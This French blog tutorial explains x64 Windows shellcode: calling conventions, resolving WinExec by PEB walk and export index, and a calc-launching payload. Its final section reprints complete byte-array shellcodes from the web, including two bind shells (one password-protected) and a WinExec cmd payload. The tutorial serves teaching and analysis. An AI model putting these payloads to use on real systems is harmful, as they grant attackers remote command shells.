dimanche 29 avril 2018

Initiation au Shellcode X64 WinExec


I.    Introduction

Dans ce chapitre , nous allons revenir sur le développement de shellcode en 64 bits et faire un tour d'horizon sur les shellcodes disponible sur le web et les techniques utilisées

Avant nous allons revoir des points de base sur les appels des fonctions et Api en 64 bits et sur  l'assembleur X64.

II.    Convention des fonctions


En 64bits en raison de l’extension du jeu de registres et des registres eux-mêmes de 32bits à 64bits, la convention __fastcall est devenue la nouvelle convention d’appel par défaut. En effet, __cdecl n’est plus la convention appelée par défaut comme sous 32bits.

Le « nouveau » modèle de __fastcall pour le 64 bits passe les quatres premiers arguments dans des registres et les suivants au travers de  la pile.
les registres pour les arguments sont les registres RCX, RDX, R8 et R9 et dans cette ordre pour les arguments
 A contrarios de la convention 32bits ou là uniquement 2 registres pouvaient passer en __fastcall qui était ECX et EDX.

Nous allons prendre deux exemples pour bien voir le passage de paramêtre

int Fn3(int a)
{
      int b=0;
      b=a+12;

      return b;
}

Nous allons via un programme visualiser le code assembleur X64 de la fonction Fn3

























Nous donne le shellcode  "\x8D\x41\x0C\xC3"

Notre argument a est passer dans le registre RCX et  l'ajout de 0x0C ( en décimale 12) et ajouté pour mettre la valeur dans EAX  comme notre fonction renvoi un int ( DWORD).

Attention ce code obtenu est lié au option de compilation définit dans VC. Dans le cas cité, nous  avons positionner sur l'option "Réduire la taille (/O1)" pour obtenir des shellcodes le plus compacte possible.












 

Maintenant si nous compilons le projet avec l'option suivant:














L'intérêt de mieux visualisé la transcription du code C de la fonction Fn3 vers le code assembleur X64

Relançons notre programme compilé avec l'option indiqué au dessus:



























Cela, nous donne un code  Assembleur 64 bits non optimisé pour notre fonction Fn3 
Dont voici la transcription en assembleur.

00000000:   89 4C 24 08                       MOV DWORD PTR [RSP+08h],ECX
00000004:   48 83 EC 18                       SUB RSP,18h
00000008:   C7 04 24 00 00 00 00        MOV DWORD PTR [RSP], 00000000h ""
0000000F:   8B 44 24 20                       MOV EAX,DWORD PTR [RSP+20h]
00000013:   83 C0 0C                           ADD EAX,0Ch
00000016:   89 04 24                             MOV DWORD PTR[RSP],EAX
00000019:   8B 04 24                            MOV EAX,DWORD PTR[ RSP ]
0000001C:   48 83 C4 18                      ADD RSP,18h
00000020:   C3                                      RET

La ligne 1,correspond à la sauvegarde de l'argument a sur la pile

00000000:   89 4C 24 08                       MOV DWORD PTR [RSP+08h],ECX

En suite la ligne 2, alloue trois DWORD64, correspondant aux variables utilisé dans le bloc du code la fonction ( a , c , b .

00000004:   48 83 EC 18                       SUB RSP,18h

La ligne 3, elle correspond à notre b=0; en C

00000008:   C7 04 24 00 00 00 00        MOV DWORD PTR [RSP], 00000000h ""

La ligne 4, effectue la copie de la valeur passé dans l'argument a dans EAX

0000000F:   8B 44 24 20                       MOV EAX,DWORD PTR [RSP+20h]

La ligne 5 , là on retrouve notre EAX = EAX + 12 ( 0x0C en hexadecimal )

00000013:   83 C0 0C                           ADD EAX,0Ch

La ligne 6, met la valeur contenu dans le registre EAX dans la variable b. Ce qui correspond au résultat

00000016:   89 04 24                             MOV DWORD PTR[RSP],EAX
 
La ligne 7, est là que pour mettre la valeur de sortie dans RAX plus précisement la partie EAX. Car notre fonction renvoi un int qui est que un DWORD 
Donc ce traduit synmboliquement par mettre EAX = b

00000019:   8B 04 24                            MOV EAX,DWORD PTR[ RSP ]

la ligne 8 est la libération des variables crée sur la pile

0000001C:   48 83 C4 18                      ADD RSP,18h

la ligne 9, elle est le classique retour de fonction

00000020:   C3                                      RET

Pour bien comprendre ses étapes, nous allons refaire la même analyse avec une fonction à 2 arguments au travers de la fonction Fn4. Et pour bien voir le rapport entre RCX et RDX. Nous avons fixer les arguments sur des DWORD64 pour être sur la capacité maximum des registres.

DWORD64 Fn4(DWORD64 a,DWORD64 b)
{
      DWORD64 c=0;
      c=a+b;

      return c;
}

Notre petit outil, vous permet de tester la fonction Fn4 et de voir le code assembleur de la fonction.























  



Cela  nous donne  le code assembleur 64 bits de notre fonction Fn4, que nous avons remis en dessous avec des explications.

00000000:   48 89 54 24 10                               MOV QWORD PTR [RSP+10h],RDX
00000005:   48 89 4C 24 08                               MOV QWORD PTR [RSP+08h],RCX
0000000A:   48 83 EC 18                                   SUB RSP,18h
0000000E:   48 C7 04 24 00 00 00 00                MOV QWORD PTR [RSP],0x0000000000000000
00000016:   48 8B 4C 24 28                               MOV RCX,QWORD PTR[RSP+28h]
0000001B:   48 8B 44 24 20                               MOV RAX,QWORD PTR[RSP+20h]
00000020:   48 03 C1                                          ADD RAX,RCX
00000023:   48 89 04 24                                      MOV QWORD PTR[RSP],RAX
00000027:   48 8B 04 24                                     MOV RAX,QWORD PTR[RSP]
0000002B:   48 83 C4 18                                    ADD RSP,18h
0000002F:   C3                                                    RET

Nous retrouvons la topologie de la sauvegarde des arguments en premier en bleu et l'allocation des variables sur la pile et la libération en vert qui correspond au 3 variables.

III.    Extension du jeu de registre 64bits


L’assembleur en passant du jeu d'instruction de 32 bits vers 64 bits, c'est enrichie de nouveau registres de R8 à R15.
Pour ces nouveaux registres, il existe une notation bien précise pour leurs valeurs 32, 16 et 8bits.
Dont  voici la notation :

RXb pour le registre 8bits, avec un b comme BYTE
RXw pour le registre 16bits, avec un w comme WORD
RXd pour le registre 32bits, avec un d comme DWORD
RX pour le registre 64bits.

Ce qui nous donne en terme de capacité
RX = 1 Quadword = 2 dwords = 4 words = 8 bytes
RXd = 1 Dword = 2 words = 4 bytes
RXw = 1 Word = 2bytes
RXb  = 1 bytes

En ce qui concerne les registres déjà existant, ils se voient remplacer le “e” par un R, par exemple l’extension d’eax en x86 devient en x64  RAX.

Voilà un petit tableau récapitulatif pour les différents sous division  inclus dans les registres 64bits












  

Il en est de même pour les registres RCX, RDX, RBX, RSP, RDP, RSI, RDI, RIP.

III.    Obtenir l'adresse d'une Api en 64 bits


Le principe est le même que avec les anciens shellcode X32. On peut les déclinais en  4 familles qui sont soit par ( nom , ordinal , hash , index ) que l'on a l'habitude de noter.

GetProcAddressByApiName(...)
GetProcAddressByOrdinal(...)
GetProcAddressByHash(...)
GetProcAddressByIndex(...)

Nous allons regarder une des sous famille particulière GetProcAddressByIndex, ce son des fonctions dédiés à la récupération d'une unique Api comme LoadLibraryA , WinExec ... etc.

Dans notre exemple nous allons simplement lancer une calculatrice et donc utiliser une fonction du type suivant:

 DWORD64 GetWinExecByIndexVN(void); 
( ou N est la variante de la fonction / dans notre exemple sera 1)

Cette fonction permet de récupérer lors de son appel l'adresse de l'api WinExec
Voici le shellcode X64 d'une fonction de ce type.

\x52\x56\x57\x53\x99\x65\x48\x8B\x42\x60\x48\x8B\x40\x18\x48\x8B
\x70\x10\x48\xAD\x48\x8B\x30\x48\x8B\x7E\x30\x48\x31\xDB\x48\x31
\xF6\x8B\x5F\x3C\x48\x01\xFB\xB2\x88\x8B\x1C\x13\x48\x01\xFB\x8B
\x73\x1C\x48\x01\xFE\x99\x66\xBA\x27\x05\x8B\x04\x96\x48\x01\xF8
\x5B\x5F\x5E\x5A\xC3

Elle est nativement intégrer dans notre outil de construction de Shellcode X64



 Le code Assembleur de notre fonction est le suivant:

00000000:   52                                       PUSH RDX
00000001:   56                                       PUSH RSI
00000002:   57                                       PUSH RDI
00000003:   53                                       PUSH RBX
00000004:   99                                       CDQ
00000005:   65 48 8B 42 60                  MOV RAX, QWORD PTR GS:[RDX+60h]
0000000A:   48 8B 40 18                      MOV RAX,QWORD PTR[RAX+18h]
0000000E:   48 8B 70 10                       MOV RSI, QWORD PTR [RAX+10h]
00000012:   48 AD                               LODS RAX,QWORD PTR DS:[RSI]
00000014:   48 8B 30                            MOV RSI,QWORD PTR[RAX]
00000017:   48 8B 7E 30                       MOV RDI,QWORD PTR[RSI+30h]
0000001B:   48 31 DB                          XOR RBX,RBX
0000001E:   48 31 F6                            XOR RSI,RSI
00000021:   8B 5F 3C                           MOV EBX,DWORD PTR[RDI + 3Ch]
00000024:   48 01 FB                            ADD RBX,RDI
00000027:   B2 88                                 MOV DL,88h (136)
00000029:   8B 1C 13                           MOV EBX,DWORD PTR[RBX+RDX*1]
0000002C:   48 01 FB                           ADD RBX,RDI
0000002F:   8B 73 1C                           MOV ESI,DWORD PTR[RBX + 1Ch]
00000032:   48 01 FE                            ADD RSI,RDI
00000035:   99                                       CDQ
00000036:   66 BA 27 05                      MOV DX,0x0527
0000003A:   8B 04 96                           MOV EAX , DWORD PTR[RSI+RDX*4]
0000003D:   48 01 F8                           ADD RAX,RDI
00000040:   5B                                      POP RBX
00000041:   5F                                      POP RDI
00000042:   5E                                      POP RSI
00000043:   5A                                     POP RDX
00000044:   C3                                      RET

Nous avons pas pris au hasard, cette fonction. Car elle permet de bien comprendre le fonctionnement du mode index. Pour cela nous avons mis en rouge un ombre qui va éclairé notre explication.

les fonctions exportées dans des dlls. Ce sont des fonctions contenues dans les dll qui peuvent être appelées par tout autre programme ou dll. Comme pour les fonctions importées, on y accède grâce au tableau d’IMAGE_DATA_DIRECTORY obtenu depuis le champ “DataDirectory” de la structure IMAGE_OPTIONAL_HEADER du PE. La structure de données qui nous intéresse est IMAGE_EXPORT_DIRECTORY en utilisant la constante

Nous remettons la structure de IMAGE_EXPORT_DIRECTORY du PE

















Les fonctions peuvent être exporté par leurs nom exemple "WinExec"
le champ “NumberOfNames” contient le nombre exacte de fonction exporté par nom contenu dans la DLL.

Le champ "AddressOfNames" contient le RVA vers le tableau Export de Nom de fonction.
et le champs " AddressOfNameOrdinals" contient le RVA vers le tableau des Ordinaux
et enfin le champs "AddressOFunctions" contient le RVA vers le tableau des RVA du code des fonctions

les RVA sont exprimer par rapport a l'emplacement ou est loader le module en mémoire (hModule == Address du module en mémoire dans le processus .
























Donc si connaît l'index du tableau "Export Address Table" de notre fonction nous connaissons le RVA de la fonction et il est simple de calculer l'adresse en mémoire de la fonction 

Dans l'exemple à l'index 3 ce trouve le RVA de la fonction "WinExec" qui est 0x400520 qui est l'offset par rapport l'adresse de notre module en mémoire Kernel32.dll que l'on va fixe à 0x00000000777C0000
si nous donne que l'addresse WinExec en mémoire est donc
0x0000000077BC0520 = 0x00000000777C0000 + 0x0000000000400520

Nous avons un outil qui list des index et ordinal des fonctions d'un module en mémoire que ce soit sur un processus X32 ou X64
Nous avons effectué l'analyse sur un processus Calc.exe(X64)

 
Nous obtenons comme index = 1319 qui est en hexadecimal donne 0x527  ( faut bien prendre que l'ordinal est aussi le numéro de case dans le tableau donc 528, car la premier case est noté 1.
Vous pouvez connaître les Ordinals facilement avec "CFF Explorer" et obtenir l'index = Ordinal -1 ;o)

Maintenant si nous codons une nouvelle fonction GetWinExecByIndexX64V3 en C++. Avec tous ce que l'on vient de dire, voici le code que l'on peut écrit pour cette fonction:


DWORD64 GetWinExecByIndexX64V3(void)
 {
      DWORD64 pPeb64 = (DWORD64)__readgsqword(0x0C * sizeof(PVOID));  
      DWORD64* pPeb64_LoaderData =(DWORD64*)( pPeb64 + 0x18);
      DWORD64 dw64Addr_Peb_Ldr_Data64 = *pPeb64_LoaderData;
      DWORD64* pPeb64_Ldr_InLoadOrderModuleList_Flink =(DWORD64*)(dw64Addr_Peb_Ldr_Data64+0x10);
      DWORD64* pLdrModule64_InLoadOrderLinks_Flink = (DWORD64*)(*pPeb64_Ldr_InLoadOrderModuleList_Flink);
      pLdrModule64_InLoadOrderLinks_Flink = (DWORD64*)(*pLdrModule64_InLoadOrderLinks_Flink);
      DWORD64* pKernel32 =(DWORD64*)( *pLdrModule64_InLoadOrderLinks_Flink + 0x30);
      DWORD64 dw64Addr_Kernel32Dll =(DWORD64)(*pKernel32);

      PIMAGE_NT_HEADERS pINH;
      PIMAGE_EXPORT_DIRECTORY pIED;
     
      pINH=(PIMAGE_NT_HEADERS)((char*)dw64Addr_Kernel32Dll+((PIMAGE_DOS_HEADER)dw64Addr_Kernel32Dll)->e_lfanew);
      pIED=(PIMAGE_EXPORT_DIRECTORY)((char*)dw64Addr_Kernel32Dll+pINH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
      PDWORD Address=(PDWORD)((char*)dw64Addr_Kernel32Dll+pIED->AddressOfFunctions);

      return (DWORD64)((char*)dw64Addr_Kernel32Dll+Address[0x527]);
 }

Nous avons essayer de mettre des noms suffisamment  parlant  pour bien faire la relation avec le PEB64 dans le processus X64

Nous remettons le schema des structures dans le PEB 



Nous avons intégrer cette fonction dans notre outil et permet de voir le code assembleur


























Nous remettons le shellcode correspondant pour vous simplifier l'analyse avec vos outils

\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x48\x8B\x48\x18\x48\x8B\x41
\x10\x48\x8B\x08\x48\x8B\x01\x48\x8B\x50\x30\x48\x63\x42\x3C\x8B
\x8C\x10\x88\x00\x00\x00\x8B\x44\x11\x1C\x8B\x84\x10\x9C\x14\x00
\x00\x48\x03\xC2\xC3

Nous vous fournissons également la transcrit en assembleur du shellcode 

00000000:   65 48 8B 04 25 60 00 00 00 MOV RAX, qword ptr gs:00000060h
00000009:   48 8B 48 18                          MOV RCX,QWORD PTR[RAX+18h]
0000000D:   48 8B 41 10                          MOV RAX,QWORD PTR[RCX+10h]
00000011:   48 8B 08                               MOV RCX,QWORD PTR[RAX]
00000014:   48 8B 01                               MOV RAX,QWORD PTR[RCX]
00000017:   48 8B 50 30                          MOV RDX,QWORD PTR[RAX+0x30]
0000001B:   48 63 42 3C                          MOVSXD RAX,DWORD PTR [RDX+3Ch]
0000001F:   8B 8C 10 88 00 00 00           MOV ECX, DWORD PTR[RAX+RDX*1+0x00000088]
00000026:   8B 44 11 1C                         MOV EAX,DWORD PTR[RCX+RDX*1+0x1C]
0000002A:   8B 84 10 9C 14 00 00          MOV EAX, DWORD PTR[RAX+RDX*1+0000149Ch]
00000031:   48 03 C2                       ADD RAX,RDX
00000034:   C3                               RET

Maintenant que nous avons notre fonction, il ne reste plus que à crée un exemple d'utilisation.

V.    Mise en pratique création du shellcode start "calc"


Nous allons maintenant crée notre shellcode avec la fonction "GetWinExecByIndexX64V3"
Pour lancer une simple calculatrice sous Windows.

Nous vous mettons le shellcode construit 

unsigned char ShellcodeX64_SampleGetWinExecByIndexX64V3ToStartCalc_sc[]=
"\x51\x52\x55"
"\xE8\x0F\x00\x00\x00"
"\xEB\x42"
"\x59"
"\x48\x31\xD2"
"\x48\xFF\xC2"
"\xFF\xD0"
"\x5D\x5A\x59"
"\xC3"
"\x65\x48\x8B\x04\x25\x60\x00\x00\x00\x48\x8B\x48\x18\x48\x8B\x41"
"\x10\x48\x8B\x08\x48\x8B\x01\x48\x8B\x50\x30\x48\x63\x42\x3C\x8B"
"\x8C\x10\x88\x00\x00\x00\x8B\x44\x11\x1C\x8B\x84\x10\x9C\x14\x00"
"\x00\x48\x03\xC2\xC3"
"\xE8\xB9\xFF\xFF\xFF"
"\x63\x61\x6C\x63\x00";

Voici le code Assembleur correspondant pour les explications techniques.

00000000:   51                                                  PUSH RCX
00000001:   52                                                  PUSH RDX
00000002:   55                                                  PUSH RBP
00000003:   E8 0F 00 00 00                              CALL 0000000Fh (+0Fh ->:00000017)
00000008:   EB 42                                             JMP(rel8) 42h (+42h ->:0000004C)
0000000A:   59                                                  POP RCX
0000000B:   48 31 D2                                        XOR RDX,RDX
0000000E:   48 FF C2                                        INC RDX
00000011:   FF D0                                             CALL RAX
00000013:   5D                                                 POP RBP
00000014:   5A                                                 POP RDX
00000015:   59                                                 POP RCX
00000016:   C3                                                 RET
00000017:   65 48 8B 04 25 60 00 00 00         MOV RAX, qword ptr gs:00000060h
00000020:   48 8B 48 18                                  MOV RCX,QWORD PTR[RAX+18h]
00000024:   48 8B 41 10                                  MOV RAX,QWORD PTR[RCX+10h]
00000028:   48 8B 08                                       MOV RCX,QWORD PTR[RAX]
0000002B:   48 8B 01                                       MOV RAX,QWORD PTR[RCX]
0000002E:   48 8B 50 30                                  MOV RDX,QWORD PTR[RAX+0x30]
00000032:   48 63 42 3C                                  MOVSXD RAX,DWORD PTR [RDX+3Ch]
00000036:   8B 8C 10 88 00 00 00                   MOV ECX, DWORD PTR[RAX+RDX*1+0x00000088]
0000003D:   8B 44 11 1C                                  MOV EAX,DWORD PTR[RCX+RDX*1+0x1C]
00000041:   8B 84 10 9C 14 00 00                   MOV EAX, DWORD PTR[RAX+RDX*1+0000149Ch]
00000048:   48 03 C2                                       ADD RAX,RDX
0000004B:   C3                                                 RET
0000004C:   E8 B9 FF FF FF                              CALL FFFFFFB9h (-47h ->:0000000A)
                                                                         db "calc"
00000051:   63 61 6C 63
00000055:   00                               

Nous avons mis en vert les sauvegarde des registres que l'on va utiliser dans le programme ( RCX , RDX et RBP )
Vous retrouver notre fonction GetWinExecByIndexX64V3 en violet

Si nous utilisons notre outil d'analyse de code X64, nous obtenons l'architecture décrite

Il ne nous reste plus que à tester notre shellcode. Pour cela nous avons rajouter un panel "Run" dans notre ancien programme "Easy Lab Constructor Shellcode X64".Cela pour tester en live des shellcodes X64

Et nous obtenons le résultat attendu l'exécution de la calculatrice windows.



































VI.    Recherchons des exemples similaire du Web

Maintenant, que nous avons expliquer la construction de ce type de shellcode X64. Et comme nous avons signalé au début de l'article cette technique est assez courante d'utilisation dans des shellcodes

Nous allons faire un petit tour sur différents shellcode exploitant cette technique

Nous allons d'abord voir les fonctions de type :
DWORD64 GetLoadLibraryAByIndexVN(VOID);    // Ou N numéro de variante
Un exemple simple ce trouve à l'url suivant:

http://ddecode.com/hexdecoder/?results=b05bb6f65864f6f11fd9f53a00adadd4


Nous avons remis le shellcode au format C


unsigned char  x64_N42_shellcode_Inconnue_x64[] =
"\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x18\x48\x8b\x76"
"\x10\x48\xad\x48\x8b\x30\x4c\x8b\x76\x30\xb2\x88\x41\x8b\x5e"
"\x3c\x4c\x01\xf3\x8b\x1c\x13\x4c\x01\xf3\x8b\x73\x1c\x4c\x01"
"\xf6\x66\xba\x40\x03\x8b\x1c\x96\x4c\x01\xf3\xb2\x80\x48\x29"
"\xd4\x4c\x8d\x24\x24\x48\x31\xd2\x41\xc7\x04\x24\x77\x73\x32"
"\x5f\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x49"
"\x8d\x0c\x24\x48\x83\xec\x58\xff\xd3\x49\x89\xc7\x48\x31\xd2"
"\xb2\x88\x41\x8b\x5f\x3c\x4c\x01\xfb\x8b\x1c\x13\x4c\x01\xfb"
"\x8b\x7b\x1c\x4c\x01\xff\x66\xba\xc8\x01\x8b\x1c\x17\x4c\x01"
"\xfb\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24"
"\x66\xb9\x02\x02\x48\x83\xec\x58\xff\xd3\x48\x31\xd2\x66\xba"
"\x88\x01\x8b\x1c\x17\x4c\x01\xfb\x6a\x06\x6a\x01\x6a\x02\x59"
"\x5a\x41\x58\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24"
"\x28\xff\xd3\x49\x89\xc5\x8b\x5f\x50\x4c\x01\xfb\x48\x31\xd2"
"\x4c\x89\xe9\x66\xba\xff\xff\x6a\x04\x41\x58\xc6\x04\x24\x01"
"\x4c\x8d\x0c\x24\x48\x83\xec\x58\x4c\x89\x44\x24\x20\xff\xd3"
"\x8b\x5f\x04\x4c\x01\xfb\x6a\x10\x41\x58\x48\x31\xd2\x49\x89"
"\x14\x24\x49\x89\x54\x24\x08\x41\xc6\x04\x24\x02\x66\x41\xc7"
"\x44\x24\x02\x11\x5c\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x8b"
"\x5f\x30\x4c\x01\xfb\x6a\x01\x5a\x41\x55\x59\xff\xd3\x8b\x1f"
"\x4c\x01\xfb\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54\x24\x08"
"\xb2\x10\x52\x4c\x8d\x04\x24\x49\x8d\x14\x24\x4c\x89\xe9\x48"
"\x83\xec\x58\xff\xd3\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54"
"\x24\x08\xb2\x68\x48\x31\xc9\x41\x89\x14\x24\x49\x89\x4c\x24"
"\x04\x49\x89\x4c\x24\x0c\x49\x89\x4c\x24\x14\x49\x89\x4c\x24"
"\x18\xb2\xff\x48\xff\xc2\x41\x89\x54\x24\x3c\x49\x89\x44\x24"
"\x50\x49\x89\x44\x24\x58\x49\x89\x44\x24\x60\x41\xc7\x44\x24"
"\xfc\x63\x6d\x64\x41\x41\x88\x4c\x24\xff\x48\x83\xec\x58\x49"
"\x8d\x54\x24\xfc\x4d\x31\xc0\x41\x50\x41\x59\xc6\x44\x24\x20"
"\x01\x4c\x89\x44\x24\x28\x4c\x89\x44\x24\x30\x4c\x89\x44\x24"
"\x38\x49\x8d\x04\x24\x48\x89\x44\x24\x40\x49\x8d\x44\x24\x68"
"\x48\x89\x44\x24\x48\x4d\x31\xd2\x66\x41\xba\x94\x02\x42\x8b"
"\x1c\x16\x4c\x01\xf3\xff\xd3\x66\x41\xba\xa4\x04\x42\x8b\x1c"
"\x16\x4c\x01\xf3\x6a\x01\x59\x48\x83\xc4\x58\xff\xd3";

Nous vous mettons l'explication au travers de notre outils avec des points de repéres



































Nous trouvons le premier bloc et GetLoadLibraryAByIndexV3
L'ensembles des autres API sont récupéré de la même maniéré ( WSAStartup , puis WSASocket .. )

Prenons un autre exemple ce trouvant à l'url suivant: https://vulners.com/exploitdb/EDB-ID:40981

Nous avons remis le shellcode au format C 

unsigned char x64_N25_shellcode_PasswordProtectedBindShellTCP[]=
"\x99\xb2\x80\x48\x29\xd4\x4c\x8d\x24\x24\x48\x31\xd2\x65\x48\x8b"
"\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad\x48\x8b\x30\x48"
"\x8b\x7e\x30\xb2\x88\x8b\x5f\x3c\x48\x01\xfb\x8b\x1c\x13\x48\x01"
"\xfb\x8b\x73\x1c\x48\x01\xfe\x48\x31\xd2\x41\xc7\x04\x24\x77\x73"
"\x32\x5f\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54\x24\x06\x66"
"\xba\x40\x03\x8b\x1c\x96\x48\x01\xfb\x49\x8d\x0c\x24\xff\xd3\x49"
"\x89\xc7\x48\x31\xd2\xb2\x88\x41\x8b\x5f\x3c\x4c\x01\xfb\x8b\x1c"
"\x13\x4c\x01\xfb\x44\x8b\x73\x1c\x4d\x01\xfe\x66\xba\xc8\x01\x41"
"\x8b\x1c\x16\x4c\x01\xfb\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc"
"\x48\x8d\x14\x24\x66\xb9\x02\x02\xff\xd3\x48\x83\xec\x58\x48\x83"
"\xec\x58\x48\x31\xd2\x66\xba\x88\x01\x41\x8b\x1c\x16\x4c\x01\xfb"
"\x6a\x06\x6a\x01\x6a\x02\x59\x5a\x41\x58\x4d\x31\xc9\x4c\x89\x4c"
"\x24\x20\x4c\x89\x4c\x24\x28\xff\xd3\x49\x89\xc5\x41\x8b\x5e\x04"
"\x4c\x01\xfb\x6a\x10\x41\x58\x48\x31\xd2\x49\x89\x14\x24\x49\x89"
"\x54\x24\x08\x41\xc6\x04\x24\x02\x66\x41\xc7\x44\x24\x02\x09\xbd"
"\x49\x8d\x14\x24\x4c\x89\xe9\xff\xd3\x41\x8b\x5e\x30\x4c\x01\xfb"
"\x6a\x01\x5a\x4c\x89\xe9\xff\xd3\x48\x83\xec\x58\xeb\x12\x48\x83"
"\xc4\x58\x41\x8b\x5e\x08\x4c\x01\xfb\x49\x8b\x4c\x24\xf8\xff\xd3"
"\x41\x8b\x1e\x4c\x01\xfb\x48\x31\xd2\x49\x89\x14\x24\x49\x89\x54"
"\x24\x08\xb2\x10\x52\x4c\x8d\x04\x24\x49\x8d\x14\x24\x4c\x89\xe9"
"\xff\xd3\x49\x89\x44\x24\xf8\x41\x8b\x5e\x48\x4c\x01\xfb\x49\x8b"
"\x4c\x24\xf8\x41\xc7\x04\x24\x2d\x2d\x3e\x20\x49\x8d\x14\x24\x6a"
"\x04\x41\x58\x4d\x31\xc9\x48\x83\xec\x58\xff\xd3\x41\x8b\x5e\x3c"
"\x4c\x01\xfb\x4d\x31\xc9\x6a\x08\x41\x58\x49\x8d\x14\x24\x49\x8b"
"\x4c\x24\xf8\xff\xd3\x41\x81\x3c\x24\x68\x32\x37\x31\x0f\x85\x7b"
"\xff\xff\xff\x41\x81\x7c\x24\x04\x35\x30\x38\x46\x0f\x85\x6c\xff"
"\xff\xff\x8b\x5e\x44\x48\x01\xfb\xff\xd3\x48\x31\xd2\x41\xc7\x04"
"\x24\x75\x73\x65\x72\x66\x41\xc7\x44\x24\x04\x33\x32\x41\x88\x54"
"\x24\x06\x49\x8d\x0c\x24\x48\x83\xec\x58\x66\xba\x40\x03\x8b\x1c"
"\x96\x48\x01\xfb\xff\xd3\x49\x89\xc6\x41\xc7\x04\x24\x46\x69\x6e"
"\x64\x41\xc7\x44\x24\x04\x57\x69\x6e\x64\x41\xc7\x44\x24\x08\x6f"
"\x77\x41\x41\x41\x80\x74\x24\x0b\x41\x48\x31\xd2\x66\xba\x2c\x09"
"\x44\x8b\x2c\x16\x49\x01\xfd\x49\x8d\x14\x24\x4c\x89\xf1\x41\xff"
"\xd5\x48\x31\xd2\x41\xc7\x04\x24\x43\x6f\x6e\x73\x41\xc7\x44\x24"
"\x04\x6f\x6c\x65\x57\x41\xc7\x44\x24\x08\x69\x6e\x64\x6f\x41\xc7"
"\x44\x24\x0c\x77\x43\x6c\x61\x66\x41\xc7\x44\x24\x10\x73\x73\x41"
"\x88\x54\x24\x12\x49\x8d\x0c\x24\x48\x83\xec\x58\xff\xd0\x48\x31"
"\xd2\x41\xc7\x04\x24\x53\x68\x6f\x77\x41\xc7\x44\x24\x04\x57\x69"
"\x6e\x64\x66\x41\xc7\x44\x24\x08\x6f\x77\x41\x88\x54\x24\x0a\x49"
"\x8d\x14\x24\x4c\x89\xf1\x41\x55\x5b\x49\x89\xc5\xff\xd3\x4c\x89"
"\xe9\x48\x31\xd2\xff\xd0\x4d\x31\xc0\x41\x50\x5a\x66\xba\x1f\x04"
"\x8b\x1c\x96\x48\x01\xfb\x41\x50\x5a\xb2\x80\x49\x8d\x0c\x24\xff"
"\xd3\x48\x31\xd2\x41\xc7\x44\x24\xf4\x63\x6d\x64\x41\x41\x88\x54"
"\x24\xf7\xb2\x68\x49\x89\x14\x24\xb2\xff\x48\xff\xc2\x49\x8b\x44"
"\x24\xf8\x41\x89\x54\x24\x3c\x49\x89\x44\x24\x50\x49\x89\x44\x24"
"\x58\x49\x89\x44\x24\x60\x48\x83\xec\x58\x48\x31\xc9\x4d\x31\xc9"
"\x6a\x01\x41\x58\x4c\x89\x44\x24\x20\x48\x89\x4c\x24\x28\x48\x89"
"\x4c\x24\x30\x48\x89\x4c\x24\x38\x49\x8d\x14\x24\x48\x89\x54\x24"
"\x40\x49\x8d\x54\x24\x68\x48\x89\x54\x24\x48\x4d\x31\xc0\x49\x8d"
"\x54\x24\xf4\x4d\x31\xd2\x66\x41\xba\x94\x02\x42\x8b\x1c\x16\x48"
"\x01\xfb\xff\xd3\x48\x31\xd2\x52\x66\xba\x29\x01\x8b\x1c\x96\x48"
"\x01\xfb\x59\x48\x83\xc4\x58\xff\xd3";

Nous retrouvons la fonction simplement


Enfin, nous allons voir les fonctions de type :
DWORD64 GetWinExecByIndexVN(VOID);    // Ou N numéro de variante

Via un exemple au travers de l'url suivant: https://bbs.pediy.com/thread-225651.htm

Dans celui-ci , en contrôlant  il y a une petit erreur 0x528 au  lieu de 0x527 que nous avons  corrig. Lorsque nous avons remis le shellcode au format C 

unsigned char x64_N60_Shellcode_WinExecCMDandFatalExit[] =
"\x99\x65\x48\x8b\x42\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\xad"
"\x48\x8b\x30\x48\x8b\x7e\x30\x48\x31\xdb\x48\x31\xf6\x8b\x5f\x3c"
"\x48\x01\xfb\xb2\x88\x8b\x1c\x13\x48\x01\xfb\x8b\x73\x1c\x48\x01"
"\xfe\x99\x66\xba\x27\x05\x8b\x04\x96\x48\x01\xf8\xeb\x17\x59\x99"
"\x48\xff\xc2\xff\xd0\x99\x66\xba\x29\x01\x8b\x04\x96\x48\x01\xf8"
"\x48\x31\xc9\xff\xd0\xe8\xe4\xff\xff\xff\x63\x6d\x64";

nous retrouvons le block de la fonction DWORD64 GetWinExecByIndexV1(void);
que nous avons décrit au début de l'article 



Si vous cherche un peu sur le web, vous trouverez bien d'autre exemple sur ce model.

VII.    Conclusion



J'espère que vous aurez une vue d'ensemble sur ces fonctions permettant d'obtenir les API. Cela vous permet de mieux comprendre le passage des arguments d'une fonction sous X64 et qui est assez simple de faire des shellcodes en X64 et de les analysés.

Aucun commentaire:

Enregistrer un commentaire